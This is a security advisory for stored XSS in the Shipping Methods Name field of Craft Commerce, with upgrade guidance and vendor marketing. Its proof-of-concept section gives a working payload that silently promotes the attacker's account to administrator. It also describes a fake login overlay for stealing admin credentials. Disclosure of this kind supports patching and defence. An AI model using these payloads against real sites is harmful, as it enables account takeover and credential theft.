Craft Commerce has Stored XSS in Shipping Methods Name Field Leading to Potential Privilege Escalation
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Description
Summary
A stored XSS vulnerability in Craft Commerce allows attackers to execute malicious JavaScript in an administrator’s browser. This occurs because the Shipping Methods Name field in the Store Management section is not properly sanitized before being displayed in the admin panel.
Proof of Concept
Requirments
- General permissions:
- Access the control panel
- Access Craft Commerce
- Craft Commerce permissions:
- Manage store settings
- Manage shipping
- An active administrator elevated session
Steps to Reproduce
- Log in to the Admin Panel with the attacker account with the permissions mentioned above.
- Navigate to Commerce -> Store Management -> Shipping Methods (
/admin/commerce/store-management/primary/shippingmethods). - Create a new shipping method.
- In the Name field, enter the following payload:
<img src=x onerror="alert(document.domain)">
- Click Save & Go back to the previous page.
- Notice the alert proving JavaScript execution.
Privilege Escalation to Administrator:
- Do the same steps above, but replace the payload with a malicious one.
- The following payload elevates the attacker’s account to Admin if there’s already an elevated session, replace the
<UserID>with your attacker id:
<img src=x onerror="fetch('/admin/users/<UserID>/permissions',{method:'POST',body:`CRAFT_CSRF_TOKEN=${Craft.csrfTokenValue}&userId=<UserID>&admin=1&action=users/save-permissions`,headers:{'content-type':'application/x-www-form-urlencoded'}})">
- In another browser, log in as an admin & go to the vulnerable page (shipping methods page).
- Go back to your attacker account & notice you are now an admin.
The privilege escalation requires an elevated session. In a real-world scenario, an attacker can automate the process by forcing a logout if the victim’s session is stale; upon re-authentication, the stored XSS payload executes within a fresh, elevated session to complete the attack. Or even easier (and smarter), an attacker (using the XSS) can create a fake 'Session Expired' login modal overlay. Since it’s on the trusted domain, administrators will likely enter their credentials, sending them directly to the attacker.

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update craftcms/commerce to 5.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g92v-wpv7-6w22 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-g92v-wpv7-6w22 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-g92v-wpv7-6w22. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g92v-wpv7-6w22 in your dependencies?
O3 detects GHSA-g92v-wpv7-6w22 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
